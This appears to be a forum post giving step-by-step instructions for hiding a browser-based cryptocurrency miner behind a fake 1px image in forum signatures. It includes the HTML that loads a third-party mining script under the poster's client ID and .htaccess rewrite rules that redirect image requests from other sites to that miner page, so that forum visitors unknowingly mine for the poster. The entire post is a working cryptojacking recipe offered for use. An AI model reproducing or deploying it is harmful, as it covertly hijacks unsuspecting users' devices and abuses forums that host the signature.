Figured out a way to implement this anywhere, you can hide it as a 1px jpeg file in any signature, on any forum.
First things first.
1. Create a file in notepad. Use this code.
<head><script type="text/javascript" src="http://api.bitp.it/bitp.it.js"></script>
<script type="text/javascript">
bitpit({clientId: "YOURID", forceUIThread: true});
</script></head>
<body width="0" height="0"></body>
2. Save that as test.html, upload it to your server
3.Upload an image to your server, label it as "WHATEVERYOUWANT.jpeg" make sure the server shows the file being stored as a jpeg file.
4. Edit your .htaccess file. Include this bit of code at the end of it.
RewriteEngine On
RewriteCond %{HTTP_REFERER} !^http://(.+\.)?YOURDOMAIN\.com/ [NC]
RewriteCond %{HTTP_REFERER} !^$
RewriteRule .*\.(jpe?g|gif|bmp|png)$ http://YOURDOMAIN.com/test.html [L]
5. Go to any forum and add
[img]http://YOURDOMAIN.com/YOURPICTURE.jpeg[/img]
This should show absolutely nothing to the user viewing the page, but you get everyone hashing for you that ever views a page with your signature.